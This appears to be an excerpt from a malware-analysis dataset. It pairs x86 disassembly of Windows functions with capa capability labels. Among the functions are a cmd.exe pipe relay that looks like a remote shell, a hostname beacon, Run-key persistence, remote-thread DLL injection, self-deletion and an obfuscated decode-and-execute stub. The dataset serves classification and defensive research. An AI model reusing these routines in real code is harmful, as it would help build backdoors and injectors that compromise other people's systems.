joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40199f
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
test esi, esi
je 0x4019e8
push esi
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
je 0x4019e8
push esi
call sub.MSVCRT.dll_strlen
pop ecx
and dword [ebp + 8], 0
lea ecx, [ebp + 8]
push 0
push ecx
push eax
push esi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
setne al
cmp dword [ebp + 8], 0
je 0x4019e8
test al, al
je 0x4019e8
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
pop esi
pop ebp
ret

Function at 0x401acb
Capabilities:
Read file on windows
Read pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
xor ebx, ebx
push edi
mov edi, dword [ebp + 0xc]
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
xor esi, esi
mov dword [ebp - 0xc], ebx
lea eax, [ebp + 0xc]
push eax
push dword [0x404770]
call dword [sym.imp.KERNEL32.DLL_GetExitCodeProcess]
cmp dword [ebp + 0xc], 0x103
jne 0x401b63
push ebx
lea eax, [ebp - 4]
push ebx
push eax
mov eax, 0x10000
sub eax, esi
push eax
lea eax, [esi + edi]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_PeekNamedPipe]
cmp dword [ebp + 0x10], ebx
je 0x401b35
cmp dword [ebp - 4], ebx
jne 0x401b35
cmp dword [ebp - 0xc], 0xa
jae 0x401b35
push 0x32
call dword [sym.imp.KERNEL32.DLL_Sleep]
inc dword [ebp - 0xc]
jmp 0x401ae4
cmp dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
je 0x401ba2
lea eax, [ebp - 8]
push ebx
push eax
lea eax, [esi + edi]
push dword [ebp - 4]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
je 0x401ba2
add esi, dword [ebp - 8]
cmp dword [ebp - 8], ebx
mov dword [ebp + 0x10], ebx
je 0x401ba2
jmp 0x401ae4
push dword [0x404770]
mov esi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov dword [0x4047a0], ebx
call esi
push dword [0x404774]
call esi
push 0x10
push ebx
push 0x404770
call sub.MSVCRT.dll_memset
push str.Process_cmd.exe_exited__r_n
push edi
call sub.MSVCRT.dll_strcpy
push edi
call sub.MSVCRT.dll_strlen
add esp, 0x18
mov esi, eax
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402132
Capabilities:
Stop service
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
xor ebx, ebx
cmp dword [0x404788], ebx
push esi
push edi
jne 0x40214c
push str._r_nSyntax_error__tUsage:_tkill___p_s___pidServiceName__r_n
jmp 0x4021a3
push dword [0x404784]
mov esi, dword [sym.imp.MSVCRT.dll__strcmpi]
push 0x404360
call esi
pop ecx
test eax, eax
pop ecx
jne 0x4021b9
push dword [0x404788]
call dword [sym.imp.MSVCRT.dll_atoi]
pop ecx
push eax
push ebx
push 0x1f0fff
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov esi, eax
cmp esi, 0xffffffff
je 0x402199
push 1
push esi
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
push esi
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
cmp dword [ebp - 4], ebx
je 0x4021b2
push str._r_nOK__r_n
push dword [ebp + 8]
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
jmp 0x40228d
push str._r_nFailed__r_n
jmp 0x4021a3
push dword [0x404784]
push 0x404338
call esi
pop ecx
test eax, eax
pop ecx
jne 0x40228d
push 4
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
cmp edi, ebx
jne 0x4021e7
push str._r_nOpenSCManager_failed__r_n
jmp 0x4021a3
push 0xf003f
push dword [0x404788]
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
cmp esi, ebx
jne 0x40222b
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0x424
jne 0x402213
push str._r_nService_does_not_exist__r_n
jmp 0x402218
push str._r_nOpenService_failed__r_n
push dword [ebp + 8]
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x40228d
lea eax, [ebp - 0x20]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x40225e
mov eax, dword [ebp - 0x1c]
dec eax
je 0x402257
dec eax
dec eax
je 0x402250
dec eax
jne 0x402281
push str._r_nService_still_running__r_n
jmp 0x402277
push str._r_nService_stop_pending__r_n
jmp 0x402277
push str._r_nService_stopped__r_n
jmp 0x402277
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0x426
jne 0x402272
push str._r_nService_doesnt_start__r_n
jmp 0x402277
push str._r_nControlService_failed__r_n
push dword [ebp + 8]
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402645
Capabilities:
Create process on windows
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
push esi
xor esi, esi
push edi
cmp dword [0x404788], esi
jne 0x402662
push str.Syntax_error__tUsage:_tstart___p_s___filenameServiceName__r_n
jmp 0x40270d
push dword [0x404784]
mov edi, dword [sym.imp.MSVCRT.dll__strcmpi]
push 0x404360
call edi
pop ecx
test eax, eax
pop ecx
jne 0x4026e1
push 0x44
lea eax, [ebp - 0x54]
pop edi
push edi
push esi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x54], edi
mov word [ebp - 0x24], si
push 1
pop eax
push ecx
lea ecx, [ebp - 0x54]
push ecx
push esi
push esi
push esi
push eax
push esi
push esi
mov dword [ebp - 0x28], eax
push dword [0x404788]
push esi
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
test eax, eax
je 0x4026bf
push str._r_nProgram_started__r_n
jmp 0x4026c4
push str._r_nCreateProcess_failed__r_n
push dword [ebp + 8]
call sub.MSVCRT.dll_strcat
mov esi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop ecx
pop ecx
push dword [ebp - 0x10]
call esi
push dword [ebp - 0xc]
jmp 0x4027a1
push dword [0x404784]
push 0x404338
call edi
pop ecx
test eax, eax
pop ecx
jne 0x4027a3
push 4
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
cmp ebx, esi
jne 0x40271c
push str._r_nOpenSCManager_failed__r_n
push dword [ebp + 8]
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
jmp 0x4027a3
push 0xf003f
push dword [0x404788]
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
cmp edi, esi
jne 0x402760
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0x424
jne 0x402748
push str._r_nService_does_not_exist__r_n
jmp 0x40274d
push str._r_nStartService_failed__r_n
push dword [ebp + 8]
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x4027a3
push esi
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
je 0x402774
push str._r_nService_started__r_n
jmp 0x40278d
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0x420
jne 0x402788
push str._r_nService_is_running_already__r_n
jmp 0x40278d
push str._r_nStartService_failed__r_n
push dword [ebp + 8]
call sub.MSVCRT.dll_strcat
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop ecx
pop ecx
push edi
call esi
push ebx
call esi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402817
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x260
push edi
xor edi, edi
cmp dword [ebp + 0x10], edi
mov dword [ebp - 8], edi
jne 0x402833
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
jmp 0x402842
push dword [ebp + 0x10]
push edi
push 0x1f0fff
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
cmp eax, 0xffffffff
mov dword [ebp + 0x10], eax
jne 0x40287c
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
lea eax, [ebp - 0x15c]
push str.Failed_with__d__n
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [ebp - 0x15c]
push eax
push dword [ebp + 8]
call sub.MSVCRT.dll_strcat
add esp, 0x14
xor eax, eax
jmp 0x40297a
lea eax, [ebp - 4]
push esi
push eax
push 0xb
push dword [ebp + 0x10]
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov esi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
test eax, eax
je 0x402946
push ebx
push 0x44
pop ebx
lea eax, [ebp - 0x5c]
push ebx
push edi
push eax
call sub.MSVCRT.dll_memset
push dword [ebp + 0xc]
lea eax, [ebp - 0x260]
mov dword [ebp - 0x5c], ebx
mov ebx, dword [sym.imp.MSVCRT.dll_sprintf]
push str.__s_
push eax
mov dword [ebp - 0x30], 1
mov word [ebp - 0x2c], di
call ebx
add esp, 0x18
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x5c]
push eax
push edi
push edi
push edi
push 1
push edi
lea eax, [ebp - 0x260]
push edi
push eax
push edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
test eax, eax
je 0x402917
push str.OK__n
push dword [ebp + 8]
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
push dword [ebp - 0x18]
call esi
push dword [ebp - 0x14]
call esi
mov dword [ebp - 8], 1
jmp 0x40293e
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
lea eax, [ebp - 0x15c]
push str.Create_failed_with__d__n
push eax
call ebx
lea eax, [ebp - 0x15c]
push eax
push dword [ebp + 8]
call sub.MSVCRT.dll_strcat
add esp, 0x14
push dword [ebp - 4]
call esi
pop ebx
jmp 0x402971
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
lea eax, [ebp - 0x15c]
push str.Failed_with__d__n
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [ebp - 0x15c]
push eax
push dword [ebp + 8]
call sub.MSVCRT.dll_strcat
add esp, 0x14
push dword [ebp + 0x10]
call esi
mov eax, dword [ebp - 8]
pop esi
pop edi
leave
ret
Function at 0x40297d
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
mov esi, 0x4046c8
push edi
push esi
call sub.MSVCRT.dll_strlen
mov dword [ebp - 4], eax
inc eax
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edi, eax
xor ebx, ebx
pop ecx
cmp edi, ebx
pop ecx
jne 0x4029ad
push 1
pop eax
jmp 0x402a42
mov eax, dword [ebp - 4]
inc eax
push eax
push ebx
push edi
call sub.MSVCRT.dll_memset
add esp, 0xc
xor ecx, ecx
cmp dword [ebp - 4], ebx
jbe 0x4029d8
mov eax, edi
sub esi, edi
mov dl, byte [esi + eax]
sar dl, 1
and dl, 0x7f
inc ecx
mov byte [eax], dl
inc eax
cmp ecx, dword [ebp - 4]
jb 0x4029c7
lea eax, [ebp - 4]
mov dword [ebp - 4], 0x23
push eax
lea eax, [ebp - 0x27]
push eax
mov byte [ebp - 0x28], 0x2f
call dword [sym.imp.KERNEL32.DLL_GetComputerNameA]
test eax, eax
jne 0x4029f8
mov byte [ebp - 0x28], bl
lea eax, [ebp - 0x28]
push 0x4046c4
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
cmp dword [0x4047a4], ebx
jne 0x402a40
lea eax, [ebp - 0x28]
push 1
push eax
push str.Mozilla_4.0
push edi
call fcn.00401406
add esp, 0x10
cmp dword [0x4047a4], ebx
jne 0x402a40
mov eax, dword [0x4046b4]
imul eax, eax, 0xea60
push eax
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x402a08
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x621413a5
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x110]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
lea eax, [ebp - 0xc]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call sym._RegOpenKeyExA_20
sub esp, 0x14
lea eax, [ebp - 0x110]
mov dword [esp], eax
call sym._strlen
lea edx, [eax + 1]
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x110]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.AutoRun
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
leave
ret

Function at 0x621414e1
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], sym._LoadLibraryA_4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0x8000
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualFreeEx_16
sub esp, 0x10
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret

Function at 0x621418e8
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
mov dword [esp], 0x1388
call sym._Sleep_4
sub esp, 4
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._DeleteFileA_4
sub esp, 4
nop
leave
ret
Function at 0x62141c70
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x6214603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x62146034]
sub esp, 4
test ebx, ebx
je 0x62141cbb
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x62141cb4
test esi, esi
je 0x62141cb4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x62141c90
mov dword [esp], 0x6214603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x62141ea0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x62144258
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x62141ef0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x62141fc8
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x62141f2e
cmp eax, 4
jne 0x62141f50
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x62141f3e
cmp edx, 4
je 0x62141f3e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.62141ea0
Function at 0x4018a0
Capabilities:
Start service

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 8
push 0xf01ff
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call sub.advapi32.dll_OpenServiceW
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4018c7
xor eax, eax
jmp 0x401904
push 0
push 0
mov edx, dword [ebp - 4]
push edx
call sub.advapi32.dll_StartServiceW
test eax, eax
jne 0x4018e5
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_CloseServiceHandle
xor eax, eax
jmp 0x401904
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 4]
push edx
call fcn.00401970
add esp, 8
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_CloseServiceHandle
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret

Function at 0x401970
Capabilities:
Query service status

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x34
mov dword [ebp - 4], 0
lea eax, [ebp - 0x10]
push eax
push 0x24
lea ecx, [ebp - 0x34]
push ecx
push 0
mov edx, dword [ebp + 8]
push edx
call sub.advapi32.dll_QueryServiceStatusEx
test eax, eax
jne 0x40199a
jmp 0x4019cf
cmp dword [ebp - 0x30], 4
jne 0x4019a7
mov eax, 1
jmp 0x4019d1
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
mov eax, dword [ebp - 4]
mov dword [ebp - 8], eax
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0xc]
jb 0x40197f
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x401e60
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [0x404068], 1
mov dword [0x40406c], 1
mov dword [0x404070], 1
mov dword [0x40407c], 1
mov dword [ebp - 8], 0x400000
mov eax, dword [ebp - 8]
movzx ecx, word [eax]
cmp ecx, 0x5a4d
je 0x401eac
xor eax, eax
jmp 0x401f60
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 8]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
cmp dword [ecx], 0x4550
je 0x401eca
xor eax, eax
jmp 0x401f60
mov edx, dword [ebp - 0xc]
add edx, 0x18
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
movzx ecx, word [eax]
mov dword [ebp - 0x10], ecx
cmp dword [ebp - 0x10], 0x10b
je 0x401ef0
cmp dword [ebp - 0x10], 0x20b
je 0x401f24
jmp 0x401f5e
mov edx, dword [ebp - 4]
cmp dword [edx + 0x5c], 0xe
ja 0x401efd
xor eax, eax
jmp 0x401f60
mov eax, 8
imul ecx, eax, 0xe
mov edx, dword [ebp - 4]
cmp dword [edx + ecx + 0x60], 0
je 0x401f18
mov dword [ebp - 0x14], 1
jmp 0x401f1f
mov dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x14]
jmp 0x401f60
mov eax, dword [ebp - 4]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
cmp dword [ecx + 0x6c], 0xe
ja 0x401f37
xor eax, eax
jmp 0x401f60
mov edx, 8
imul eax, edx, 0xe
mov ecx, dword [ebp - 0x18]
cmp dword [ecx + eax + 0x70], 0
je 0x401f52
mov dword [ebp - 0x1c], 1
jmp 0x401f59
mov dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0x1c]
jmp 0x401f60
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x4023c0
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], 0
mov edx, dword [ebp - 8]
movzx eax, word [edx + 0x14]
mov ecx, dword [ebp - 8]
lea edx, [ecx + eax + 0x18]
mov dword [ebp - 4], edx
jmp 0x402400
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 4]
add ecx, 0x28
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 8]
movzx eax, word [edx + 6]
cmp dword [ebp - 0xc], eax
jae 0x40242f
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
cmp edx, dword [ecx + 0xc]
jb 0x40242d
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ebp - 4]
add ecx, dword [edx + 8]
cmp dword [ebp + 0xc], ecx
jae 0x40242d
mov eax, dword [ebp - 4]
jmp 0x402431
jmp 0x4023ee
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x402440
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
movzx edx, word [ecx]
cmp edx, 0x5a4d
je 0x402460
xor eax, eax
jmp 0x40249b
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 4]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
cmp dword [edx], 0x4550
je 0x40247b
xor eax, eax
jmp 0x40249b
mov eax, dword [ebp - 8]
add eax, 0x18
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
movzx edx, word [ecx]
cmp edx, 0x10b
je 0x402496
xor eax, eax
jmp 0x40249b
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x4028e0
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 8
cmp dword [0x404098], 0
jne 0x4028f3
jmp 0x40294c
push 0x404080
call sub.kernel32.dll_EnterCriticalSection
mov eax, dword [0x40409c]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x402942
mov ecx, dword [ebp - 4]
mov edx, dword [ecx]
push edx
call sub.kernel32.dll_TlsGetValue
mov dword [ebp - 8], eax
call sub.kernel32.dll_GetLastError
test eax, eax
jne 0x402937
cmp dword [ebp - 8], 0
je 0x402937
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 4]
call edx
add esp, 4
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 8]
mov dword [ebp - 4], ecx
jmp 0x402905
push 0x404080
call sub.kernel32.dll_LeaveCriticalSection
mov esp, ebp
pop ebp
ret
Function at 0x402ed5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x402ee4
pop dword [ebp - 8]
mov eax, 0x44416674
sub eax, 0x44013790
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0xa93ccf37
add dword [ebp - 0x18], 0xa5157614
mov dword [ebp - 0x14], 0xae87b573
sub dword [ebp - 0x14], 0x7c54692e
mov dword [ebp - 0x10], 0x464aa19a
sub dword [ebp - 0x10], 0xf9fe5d6c
mov dword [ebp - 0xc], 0x938454c4
sub dword [ebp - 0xc], 0x938454c4
lea eax, [ebp - 0x18]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0xef42a0db
sub dword [ebp - 0x18], 0x7ad03785
mov dword [ebp - 0x14], 0x358e0308
add dword [ebp - 0x14], 0xbde5e6d
mov dword [ebp - 0x10], 0x83a9f1a
add dword [ebp - 0x10], 0x5b34cd52
mov dword [ebp - 0xc], 0x4f31e0f4
add dword [ebp - 0xc], 0xb0ce1f0c
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, 0xf2f1624a
add eax, 0xd4f1eb6
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x361af
push 0
call eax
mov ecx, 0x5063a770
add ecx, 0xaf9c9cd7
mov ebx, eax
mov edx, 0x784a2264
sub edx, 0x78033e64
add edx, dword [ebp - 8]
mov edi, 0x95d57839
add dword [ebp - 4], edx
mov esi, dword [edx]
add esi, edi
xor dword [ebp - 4], eax
mov dword [ebx], esi
mov dword [ebp - 4], 0x4da775c9
add ebx, 4
add edx, 0x18254523
add edx, 0xe7dabae1
loop 0x402ffb
add eax, 0xb049be60
add eax, 0x4fb7458f
mov ebx, eax
add eax, 0xf05b4334
add eax, 0xfa4bcd1
mov ecx, 0x455d5e5b
sub ecx, 0x451d5e5b
add ecx, dword [ebp - 8]
call ebx
leave
ret

Function at 0x40317b
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push ebx
push esi
xor esi, esi
cmp eax, esi
jl 0x4031a6
mov ecx, dword [0x42a298]
push esi
add eax, ecx
push esi
push eax
mov dword [0x418ed4], eax
push dword [0x40a01c]
call dword [sym.imp.kernel32.dll_SetFilePointer]
push 4
call fcn.00403283
cmp eax, esi
jl 0x40327d
lea eax, [ebp + 8]
push 4
push eax
push dword [0x40a01c]
call fcn.00402ed5
test eax, eax
je 0x40326d
push dword [ebp + 8]
add dword [0x418ed4], 4
call fcn.00403283
mov ebx, eax
cmp ebx, esi
jl 0x40327b
cmp dword [ebp + 0x10], esi
jne 0x403249
cmp dword [ebp + 8], esi
jle 0x40327b
mov esi, 0x414ed0
cmp dword [ebp + 8], 0x4000
mov eax, dword [ebp + 8]
jl 0x40320b
mov eax, 0x4000
push eax
push esi
push dword [0x40a01c]
mov dword [ebp - 4], eax
call fcn.00402ed5
test eax, eax
je 0x40326d
push dword [ebp - 4]
push esi
push dword [ebp + 0xc]
call fcn.00402ed5
test eax, eax
je 0x403245
mov eax, dword [ebp - 4]
sub dword [ebp + 8], eax
add dword [0x418ed4], eax
add ebx, eax
cmp dword [ebp + 8], 0
jg 0x4031fa
jmp 0x40327b
push 0xfffffffffffffffe
jmp 0x40326f
mov eax, dword [ebp + 8]
cmp eax, dword [ebp + 0x14]
jl 0x403254
mov eax, dword [ebp + 0x14]
lea ecx, [ebp - 4]
push esi
push ecx
push eax
push dword [ebp + 0x10]
push dword [0x40a01c]
call dword [sym.imp.kernel32.dll_ReadFile]
test eax, eax
jne 0x403272
push 0xfffffffffffffffd
pop eax
jmp 0x40327d
mov ebx, dword [ebp - 4]
add dword [0x418ed4], ebx
mov eax, ebx
pop esi
pop ebx
leave
ret 0x10